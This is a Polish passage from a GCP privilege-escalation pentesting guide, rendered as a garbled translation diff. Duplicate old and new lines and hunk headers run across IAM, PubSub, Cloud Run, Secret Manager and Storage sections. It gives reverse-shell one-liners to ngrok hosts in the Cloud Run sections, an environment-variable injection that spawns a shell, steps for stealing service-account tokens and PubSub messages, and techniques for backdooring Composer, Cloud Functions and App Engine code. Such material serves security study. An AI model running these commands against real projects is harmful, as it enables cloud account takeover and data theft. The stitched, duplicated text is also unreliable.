Uprawnienie **iam.serviceAccounts.actAs** jest podobne do uprawnienia **iam:PassRole permission from AWS**. Jest niezbędne do wykonywania zadań, takich jak uruchomienie instancji Compute Engine, ponieważ daje możliwość actAs Service Account, zapewniając bezpieczne zarządzanie uprawnieniami. Bez tego użytkownicy mogą uzyskać nadmierny dostęp. Dodatkowo wykorzystanie **iam.serviceAccounts.actAs** obejmuje różne metody, z których każda wymaga zestawu uprawnień, w przeciwieństwie do innych metod, które potrzebują tylko jednego.
#### Impersonacja Service Account <a href="#service-account-impersonation" id="service-account-impersonation"></a>
#### Service account impersonation <a href="#service-account-impersonation" id="service-account-impersonation"></a>
Podszywanie się pod Service Account może być bardzo przydatne do uzyskania nowych i lepszych uprawnień. Istnieją trzy sposoby, w których możesz podszyć się pod inny Service Account:
Podszywanie się pod Service Account może być bardzo przydatne do **uzyskania nowych i lepszych uprawnień**. Istnieją trzy sposoby, w jakie możesz [impersonate another service account](https://cloud.google.com/iam/docs/understanding-service-accounts#impersonating_a_service_account):
- Uwierzytelnianie **using RSA private keys** (omówione powyżej)
- Uwierzytelnianie **using RSA private keys** (patrz wyżej)
- Autoryzacja **using Cloud IAM policies** (omówione tutaj)
- **Deploying jobs on GCP services** (bardziej stosowne przy kompromitacji konta użytkownika)
- **Deploying jobs on GCP services** (bardziej dotyczy kompromitacji konta użytkownika)
### `iam.serviceAccounts.getOpenIdToken`
Atakujący mający wymienione uprawnienia będzie w stanie wygenerować OpenID JWT. Służą one do potwierdzania tożsamości i niekoniecznie niosą ze sobą uprawnienia do zasobu.
Atakujący posiadający wymienione uprawnienia będzie w stanie wygenerować OpenID JWT. Służą one do potwierdzania tożsamości i niekoniecznie zawierają domyślną autoryzację do zasobu.
Zgodnie z tym [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), trzeba wskazać audience (serwis, w którym chcesz użyć tokena do uwierzytelnienia) i otrzymasz JWT podpisany przez google, wskazujący service account oraz audience tokena.
Zgodnie z tym [**interesting post**](https://medium.com/google-cloud/authenticating-using-google-openid-connect-tokens-e7675051213b), konieczne jest określenie audience (usługi, w której chcesz użyć tokena do uwierzytelnienia) i otrzymasz JWT podpisany przez google wskazujący service account oraz audience JWT.
Możesz wygenerować OpenIDToken (jeśli masz dostęp) za pomocą:
<details><summary>Generowanie tokena OpenID dla service account</summary>
```bash
# First activate the SA with iam.serviceAccounts.getOpenIdToken over the other SA
gcloud auth activate-service-account --key-file=/path/to/svc_account.json
# Then, generate token
gcloud auth print-identity-token "${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com" --audiences=https://example.com
```
</details>
Następnie możesz po prostu użyć go, aby uzyskać dostęp do usługi za pomocą:
<details><summary>Użyj tokena OpenID do uwierzytelnienia</summary>
```bash
curl -v -H "Authorization: Bearer id_token" https://some-cloud-run-uc.a.run.app
```
</details>
Niektóre usługi, które obsługują uwierzytelnianie za pomocą tego rodzaju tokenów, to:
Niektóre usługi, które obsługują uwierzytelnianie za pomocą tego typu tokenów to:
- [Google Cloud Run](https://cloud.google.com/run/)
- [Google Cloud Functions](https://cloud.google.com/functions/docs/)
- [Google Identity Aware Proxy](https://cloud.google.com/iap/docs/authentication-howto)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (if using Google OIDC)
- [Google Cloud Endpoints](https://cloud.google.com/endpoints/docs/openapi/authenticating-users-google-id) (jeśli używasz Google OIDC)
You can find an example on how to create and OpenID token behalf a service account [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
Przykład, jak utworzyć token OpenID w imieniu konta serwisowego znajdziesz [**here**](https://github.com/carlospolop-forks/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/iam.serviceAccounts.getOpenIdToken.py).
## Referencje
@@ -4,34 +4,67 @@
## PubSub
Uzyskaj więcej informacji w:
Więcej informacji:
{{#ref}}
../gcp-services/gcp-pub-sub.md
{{#endref}}
### `pubsub.snapshots.create`
Zrzuty tematów **zawierają bieżące niepotwierdzone wiadomości oraz każdą wiadomość po niej**. Możesz utworzyć zrzut tematu, aby **uzyskać dostęp do wszystkich wiadomości**, **unikając bezpośredniego dostępu do tematu**.
### `pubsub.snapshots.create` (`pubsub.topics.attachSubscription`)
Snapshoty topiców **zawierają aktualne unACKed wiadomości oraz wszystkie wiadomości, które pojawiły się po nich**. Możesz utworzyć snapshot topicu, aby **uzyskać dostęp do wszystkich wiadomości**, **zamiast uzyskiwać dostęp bezpośrednio do topicu**.
```bash
gcloud pubsub subscriptions create <subscription_name> --topic <topic_name> --push-endpoint https://<URL_to_push_to>
```
### **`pubsub.snapshots.setIamPolicy`**
Przypisz poprzednie uprawnienia sobie.
Przypisz sobie wcześniejsze uprawnienia.
### `pubsub.subscriptions.create`
Możesz utworzyć subskrypcję push w temacie, która będzie wysyłać wszystkie odebrane wiadomości na wskazany adres URL.
Możesz utworzyć push subscription na topicu, który będzie przesyłał wszystkie otrzymane wiadomości na wskazany URL
### **`pubsub.subscriptions.update`**
Ustaw swój własny adres URL jako punkt końcowy push, aby ukraść wiadomości.
Ustaw swój URL jako push endpoint, aby przechwycić wiadomości.
### `pubsub.subscriptions.consume`
Uzyskaj dostęp do wiadomości za pomocą subskrypcji.
Uzyskaj dostęp do wiadomości przy użyciu subskrypcji.
```bash
gcloud pubsub subscriptions pull <SUSCRIPTION> \
--limit=50 \
--format="json" \
--project=<PROJECTID>
```
### `pubsub.subscriptions.setIamPolicy`
Daj sobie dowolne z poprzednich uprawnień.
Nadaj sobie dowolne z poprzednich uprawnień
```bash
# Add Binding
gcloud pubsub subscriptions add-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Remove Binding
gcloud pubsub subscriptions remove-iam-policy-binding <SUSCRIPTION_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"
# Change Policy
gcloud pubsub subscriptions set-iam-policy <SUSCRIPTION_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>
```
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Cloud Run
Aby uzyskać więcej informacji o Cloud Run sprawdź:
Więcej informacji o Cloud Run znajdziesz:
{{#ref}}
../gcp-services/gcp-cloud-run-enum.md
@@ -12,18 +12,15 @@ Aby uzyskać więcej informacji o Cloud Run sprawdź:
### `run.services.create` , `iam.serviceAccounts.actAs`, **`run.routes.invoke`**
Atakujący posiadający te uprawnienia może **create a run service running arbitrary code** (dowolny kontener Docker), przypisać do niego Service Account i sprawić, że kod **exfiltrate the Service Account token from the metadata**.
Atakujący z tymi uprawnieniami może **create a run service running arbitrary code** (arbitrary Docker container), przypisać do niej Service Account i sprawić, że kod **exfiltrate the Service Account token from the metadata**.
An exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/run.services.create.py) and the Docker image can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudRunDockerImage).
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Sprawdź [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
Note that when using `gcloud run deploy` instead of just creating the service **it needs the `update` permission**. Check an [**example here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/o-run.services.create.sh).
### `run.services.update` , `iam.serviceAccounts.actAs`
Podobnie jak poprzedni, ale aktualizuje usługę:
<details>
<summary>Deploy Cloud Run service with reverse shell</summary>
Jak wyżej, ale aktualizując usługę:
```bash
# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
@@ -39,18 +36,29 @@ gcloud run deploy hacked \
# If you don't have permissions to use "--allow-unauthenticated", dont use it
```
</details>
### `run.services.setIamPolicy`
Nadaj sobie odpowiednie uprawnienia do Cloud Run.
Nadaj sobie poprzednie uprawnienia w cloud Run.
```bash
# Change policy
gcloud run services set-iam-policy <SERVICE_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run services add-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run services remove-iam-policy-binding <SERVICE_NAME> \
--member="allUsers" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.create`, `run.jobs.run`, `iam.serviceaccounts.actAs`,(`run.jobs.get`)
Uruchom job z reverse shell, aby przejąć wskazany w poleceniu service account. Możesz znaleźć [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
<details>
<summary>Utwórz Cloud Run job z reverse shell</summary>
Uruchom job z reverse shell, aby ukraść service account wskazany w poleceniu. Możesz znaleźć [**exploit here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/m-run.jobs.create.sh).
```bash
gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
@@ -60,14 +68,9 @@ gcloud beta run jobs create jab-cloudrun-3326 \
--region=us-central1
```
</details>
### `run.jobs.update`,`run.jobs.run`,`iam.serviceaccounts.actAs`,(`run.jobs.get`)
Podobnie jak w poprzednim przypadku, możliwe jest **zaktualizowanie joba i zmiana przypisanego SA**, umieszczenie **polecenia** i **jego uruchomienie**:
<details>
<summary>Update Cloud Run job and execute with reverse shell</summary>
Podobnie jak w poprzednim przypadku, można **zaktualizować joba i zaktualizować SA**, zmienić **komendę** i ją wykonać:
```bash
gcloud beta run jobs update hacked \
--image=mubuntu:latest \
@@ -77,23 +80,32 @@ gcloud beta run jobs update hacked \
--region=us-central1 \
--execute-now
```
</details>
### `run.jobs.setIamPolicy`
Nadaj sobie poprzednie uprawnienia do Cloud Jobs.
Nadaj sobie wcześniej wymienione uprawnienia do Cloud Jobs.
```bash
# Change policy
gcloud run jobs set-iam-policy <JOB_NAME> <POLICY_FILE>.json \
--region=us-central1
# Add binding
gcloud run jobs add-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
# Remove binding
gcloud run jobs remove-iam-policy-binding <JOB_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/run.invoker" \
--region=us-central1
```
### `run.jobs.run`, `run.jobs.runWithOverrides`, (`run.jobs.get`)
Wykorzystaj zmienne env podczas wykonania zadania, aby wykonać dowolny kod i uzyskać reverse shell, zrzucić zawartość container (source code) oraz uzyskać dostęp do SA wewnątrz metadata:
<details>
<summary>Wykonaj zadanie Cloud Run przy użyciu environment variable exploitation</summary>
Wykorzystaj env variables uruchomienia joba, aby wykonać dowolny kod i uzyskać reverse shell, aby zrzucić zawartość container (source code) oraz uzyskać dostęp do SA w metadata:
```bash
gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"
```
</details>
## Źródła
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
@@ -12,16 +12,16 @@ Więcej informacji o secretmanager:
### `secretmanager.versions.access`
To daje dostęp do odczytu sekretów z secret manager i może pomóc w eskalacji uprawnień (w zależności od tego, jakie informacje są przechowywane w sekretach):
To daje dostęp do odczytu sekretów z secret manager i może to pomóc w eskalacji uprawnień (w zależności od tego, jakie informacje są przechowywane w sekrecie):
<details><summary>Pobierz wersję sekretu w postaci jawnej</summary>
<details><summary>Pobierz wersję sekretu w postaci jawnego tekstu</summary>
```bash
# Get clear-text of version 1 of secret: "<secret name>"
gcloud secrets versions access 1 --secret="<secret_name>"
```
</details>
Ponieważ jest to także post exploitation technique, można ją znaleźć w:
Ponieważ jest to również post exploitation technique, można ją znaleźć w:
{{#ref}}
../gcp-post-exploitation/gcp-secretmanager-post-exploitation.md
@@ -31,12 +31,18 @@ Ponieważ jest to także post exploitation technique, można ją znaleźć w:
To daje dostęp do odczytu secrets z secret manager, na przykład używając:
<details><summary>Add IAM policy binding to secret</summary>
<details><summary>Dodaj powiązanie polityki IAM do secret</summary>
```bash
gcloud secrets add-iam-policy-binding <scret-name> \
--member="serviceAccount:<sa-name>@$PROJECT_ID.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
Lub cofnąć polityki za pomocą:
```bash
gcloud secrets remove-iam-policy-binding <secret-name> \
--member="serviceAccount:<sa-name>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="roles/secretmanager.secretAccessor"
```
</details>
{{#include ../../../banners/hacktricks-training.md}}
@@ -4,7 +4,7 @@
## Storage
Basic Information:
Podstawowe informacje:
{{#ref}}
../gcp-services/gcp-storage-enum.md
@@ -12,28 +12,82 @@ Basic Information:
### `storage.objects.get`
To uprawnienie pozwala Ci **pobrać pliki zapisane w Cloud Storage**. Może to potencjalnie pozwolić na eskalację uprawnień, ponieważ w niektórych przypadkach **przechowywane są tam poufne informacje**. Co więcej, niektóre usługi GCP zapisują swoje dane w buckets:
To uprawnienie pozwala na **pobieranie plików przechowywanych w Cloud Storage**. Może to potencjalnie umożliwić eskalację uprawnień, ponieważ w niektórych przypadkach **przechowywane są tam poufne informacje**. Co więcej, niektóre usługi GCP zapisują swoje dane w bucketach:
- **GCP Composer**: Gdy utworzysz Composer Environment, **kod wszystkich DAGów** zostanie zapisany w **bucket**. Te zadania mogą zawierać interesujące informacje w swoim kodzie.
- **GCR (Container Registry)**: **obrazy** kontenerów są przechowywane w **bucketach**, co oznacza, że jeśli możesz czytać buckety, będziesz w stanie pobrać obrazy i **wyszukać leaks i/lub kod źródłowy**.
- **GCP Composer**: Kiedy tworzysz Composer Environment, **kod wszystkich DAGów** zostanie zapisany w **buckecie**. Te zadania mogą zawierać interesujące informacje w swoim kodzie.
- **GCR (Container Registry)**: **Image** kontenerów są przechowywane w **bucketach**, co oznacza, że jeśli możesz odczytać buckety, będziesz w stanie pobrać obrazy i **search for leaks and/or source code**.
### `storage.objects.setIamPolicy`
To uprawnienie pozwala Ci **wykorzystać dowolny z powyższych scenariuszy opisanych w tej sekcji**.
To uprawnienie pozwala ci **wykorzystać dowolny z poprzednich scenariuszy opisanych w tej sekcji**.
```bash
# Add binding
gcloud storage objects add-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Remove binding
gcloud storage objects remove-iam-policy-binding gs://<BUCKET_NAME>/<OBJECT_NAME> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role="<ROLE>" \
--project=<PROJECT_ID>
# Change Policy
gcloud storage objects set-iam-policy gs://<BUCKET_NAME>/<OBJECT_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
### **`storage.buckets.setIamPolicy`**
Przykład pokazujący, jak modyfikować uprawnienia za pomocą tego uprawnienia, znajdziesz na tej stronie:
Przykład modyfikacji uprawnień przy użyciu tego uprawnienia znajdziesz na tej stronie:
```bash
# Add binding
gcloud storage buckets add-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Remove binding
gcloud storage buckets remove-iam-policy-binding gs://<MY_BUCKET> \
--member="<MEMBER_TYPE>:<MEMBER_IDENTIFIER>" \
--role=<ROLE> \
--project=<MY_PROJECT>
# Change policy
gcloud storage buckets set-iam-policy gs://<BUCKET_NAME> - \
--project=<PROJECT_ID> <<'POLICY'
{
"bindings": [
{
"role": "<ROLE>",
"members": [
"<MEMBER_TYPE>:<MEMBER_IDENTIFIER>"
]
}
]
}
POLICY
```
{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-storage-unauthenticated-enum/gcp-public-buckets-privilege-escalation.md
{{#endref}}
### `storage.hmacKeys.create`
Funkcja "interoperability" w Cloud Storage, zaprojektowana dla **cross-cloud interactions** (np. z AWS S3), obejmuje **tworzenie HMAC keys dla Service Accounts i użytkowników**. Atakujący może to wykorzystać, **generując HMAC key dla Service Account z podwyższonymi uprawnieniami**, tym samym **eskalując uprawnienia w Cloud Storage**. Podczas gdy HMAC keys powiązane z użytkownikami można odzyskać jedynie przez web console, zarówno access i secret keys pozostają **na stałe dostępne**, co pozwala na potencjalne przechowywanie zapasowego dostępu. Natomiast HMAC keys powiązane z Service Account są dostępne przez API, ale ich access i secret keys nie są możliwe do odzyskania po utworzeniu, co utrudnia ciągły dostęp.
<details><summary>Utwórz i użyj HMAC key for privilege escalation</summary>
Funkcja "interoperability" Cloud Storage, przeznaczona do **cross-cloud interactions** (np. z AWS S3), polega na **tworzeniu HMAC keys dla Service Accounts i users**. Atakujący może to wykorzystać, **generując HMAC key dla Service Account z podwyższonymi uprawnieniami**, co pozwala na **eskalację uprawnień w Cloud Storage**. HMAC keys powiązane z użytkownikami można pobrać tylko przez web console, jednak zarówno access jak i secret keys pozostają **dostępne na stałe**, co umożliwia przechowywanie zapasowego dostępu. Natomiast HMAC keys powiązane z Service Account są dostępne przez API, ale ich access i secret keys nie są możliwe do odzyskania po utworzeniu, co utrudnia utrzymanie ciągłego dostępu.
```bash
# Create key
gsutil hmac create <sa-email> # You might need to execute this inside a VM instance
@@ -63,54 +117,52 @@ gsutil ls gs://[BUCKET_NAME]
# Restore
gcloud config set pass_credentials_to_gsutil true
```
</details>
Inny exploit script dla tej metody można znaleźć [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
Another exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/storage.hmacKeys.create.py).
### `storage.objects.create`, `storage.objects.delete` = Storage Write permissions
### `storage.objects.create`, `storage.objects.delete` = Storage — uprawnienia zapisu
Aby **utworzyć nowy obiekt** inside a bucket potrzebujesz `storage.objects.create` i, zgodnie z [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), potrzebujesz także `storage.objects.delete`, aby **zmodyfikować** istniejący obiekt.
Aby **utworzyć nowy obiekt** w bucketcie potrzebujesz `storage.objects.create` i, zgodnie z [the docs](https://cloud.google.com/storage/docs/access-control/iam-permissions#object_permissions), potrzebujesz też `storage.objects.delete`, aby **modyfikować** istniejący obiekt.
Bardzo **częstym sposobem eskalacji** przy bucketach, do których można zapisywać, jest sytuacja gdy **bucket przechowuje pliki serwera WWW** — możesz być w stanie **zapisać nowy kod**, który zostanie użyty przez aplikację webową.
Bardzo **częste wykorzystanie** bucketów, do których możesz zapisywać w chmurze, występuje gdy **bucket przechowuje pliki serwera WWW** — możesz wtedy być w stanie **wgrać nowy kod**, który zostanie użyty przez aplikację webową.
### Composer
**Composer** to zarządzany w GCP **Apache Airflow**. Ma kilka interesujących cech:
**Composer** is **Apache Airflow** managed inside GCP. Ma kilka interesujących cech:
- Działa wewnątrz **GKE cluster**, więc **SA używane przez klaster jest dostępne** dla kodu uruchamianego w Composer
- Wszystkie komponenty środowiska composer (**kod DAGs**, pluginy i dane) są przechowywane w GCP bucket. Jeśli atakujący ma uprawnienia odczytu i zapisu do tego bucketa, może monitorować bucket i **za każdym razem, gdy DAG zostanie utworzony lub zaktualizowany, wstawić wersję z backdoorem**, tak aby środowisko composer pobrało z storage zmodyfikowaną wersję.
- Działa wewnątrz **klastra GKE**, więc **SA używany przez klaster jest dostępny** dla kodu uruchamianego w Composerze
- Wszystkie komponenty środowiska Composer (**code of DAGs**, plugins and data) są przechowywane inside a GCP bucket. Jeśli atakujący ma nad nim uprawnienia do odczytu i zapisu, może monitorować bucket i **whenever a DAG is created or updated, submit a backdoored version** tak, że środowisko Composer pobierze z storage wersję z backdoorem.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Kod Cloud Functions jest przechowywany w Storage i ilekroć tworzona jest nowa wersja, kod jest pushowany do bucketa, a następnie nowy kontener jest budowany z tego kodu. W związku z tym, **nadpisanie kodu zanim nowa wersja zostanie zbudowana pozwala na zmuszenie cloud function do wykonania dowolnego kodu**.
- Kod Cloud Functions jest przechowywany w Storage i za każdym razem, gdy tworzona jest nowa wersja, kod jest przesyłany do bucketu, a następnie na jego podstawie budowany jest nowy container. W związku z tym, **nadpisanie kodu przed zbudowaniem nowej wersji pozwala zmusić Cloud Function do wykonania arbitrary code**.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
Wersje AppEngine generują pewne dane wewnątrz bucketa o formacie nazwy: `staging.<project-id>.appspot.com`. W tym buckecie można znaleźć folder o nazwie `ae`, który będzie zawierał folder dla każdej wersji aplikacji AppEngine, a w tych folderach będzie można znaleźć plik `manifest.json`. Ten plik zawiera json ze wszystkimi plikami, które muszą być użyte do stworzenia konkretnej wersji. Ponadto można znaleźć **rzeczywiste nazwy plików, URL do nich wewnątrz GCP bucket (pliki w buckecie zmieniły nazwę na ich sha1 hash) oraz sha1 hash każdego pliku.**
Wersje AppEngine generują pewne dane inside a bucket o formacie nazwy: `staging.<project-id>.appspot.com`. W tym buckecie można znaleźć folder o nazwie `ae`, który będzie zawierał folder dla każdej wersji aplikacji AppEngine, a w tych folderach będzie można znaleźć plik `manifest.json`. Ten plik zawiera json ze wszystkimi plikami, które muszą zostać użyte do stworzenia danej wersji. Co więcej, można znaleźć **rzeczywiste nazwy plików, URL do nich inside the GCP bucket (pliki inside the bucket zmieniły swoją nazwę na ich sha1 hash) oraz sha1 hash każdego pliku.**
_Zwróć uwagę, że nie jest możliwe wcześniejsze przejęcie tego bucketa, ponieważ użytkownicy GCP nie mają uprawnień do tworzenia bucketów używających domeny appspot.com._
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
Jednak mając dostęp do odczytu i zapisu do tego bucketa, można eskalować uprawnienia do SA przypisanego do wersji App Engine poprzez monitorowanie bucketa i za każdym razem, gdy nastąpi zmiana (nowa wersja), jak najszybszą modyfikację nowej wersji. W ten sposób kontener tworzony z tego kodu wykona backdoored kod.
Jednak przy dostępie do odczytu i zapisu do tego bucketa, możliwe jest eskalowanie uprawnień do SA przypisanego do wersji App Engine poprzez monitorowanie bucketa i za każdym razem, gdy nastąpi zmiana (nowa wersja), zmodyfikować nową wersję tak szybko, jak to możliwe. W ten sposób container tworzony z tego kodu wykona backdoored code.
Wspomniany atak można przeprowadzić na wiele sposobów, wszystkie zaczynają się od monitorowania bucketa `staging.<project-id>.appspot.com`:
Wspomniany atak można przeprowadzić na wiele różnych sposobów, wszystkie zaczynają się od monitorowania bucketa `staging.<project-id>.appspot.com`:
- Prześlij kompletny nowy kod wersji AppEngine do innego dostępnego bucketa i przygotuj **plik `manifest.json` z nazwą nowego bucketa i sha1 hashami plików**. Następnie, gdy nowa wersja zostanie stworzona w oryginalnym buckecie, wystarczy zmodyfikować `manifest.json` i wgrać złośliwy.
- Wgraj zmodyfikowany `requirements.txt`, który będzie używać **złośliwych zależności** i zaktualizuj `manifest.json` z nową nazwą pliku, URL i hashem.
- Wgraj **zmodyfikowany `main.py` lub `app.yaml`, który wykona złośliwy kod** i zaktualizuj `manifest.json` z nową nazwą pliku, URL i hashem.
- Wgraj kompletny nowy kod wersji AppEngine do innego dostępnego bucketa i przygotuj **`manifest.json` file with the new bucket name and sha1 hashes of them**. Następnie, gdy w buckecie zostanie utworzona nowa wersja, wystarczy zmodyfikować plik `manifest.json` i przesłać złośliwy.
- Wgraj zmodyfikowany `requirements.txt`, który będzie używać **malicious dependencies code** i zaktualizuj plik `manifest.json` o nową nazwę pliku, URL i jego hash.
- Wgraj **zmodyfikowany `main.py` or `app.yaml` file that will execute the malicious code** i zaktualizuj plik `manifest.json` o nową nazwę pliku, URL i jego hash.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** przechowuje images wewnątrz bucketów — jeśli możesz **zapisywać w tych bucketach**, możesz później **poruszać się lateralnie tam, gdzie te buckety są uruchamiane.**
- Bucket używany przez GCR będzie miał URL podobny do `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (górne subdomeny są określone [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
- **Google Container Registry** stores the images inside buckets, jeśli możesz **write those buckets** możesz być w stanie **move laterally to where those buckets are being run.**
- Bucket używany przez GCR będzie miał URL podobny do `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
> Ta usługa jest deprecated, więc ten atak nie jest już użyteczny. Ponadto Artifact Registry, usługa która zastępuje, nie przechowuje images w bucketach.
> Ta usługa jest przestarzała, więc ten atak nie jest już użyteczny. Ponadto, Artifact Registry, usługa która zastępuje, nie przechowuje obrazów w bucketach.
## **References**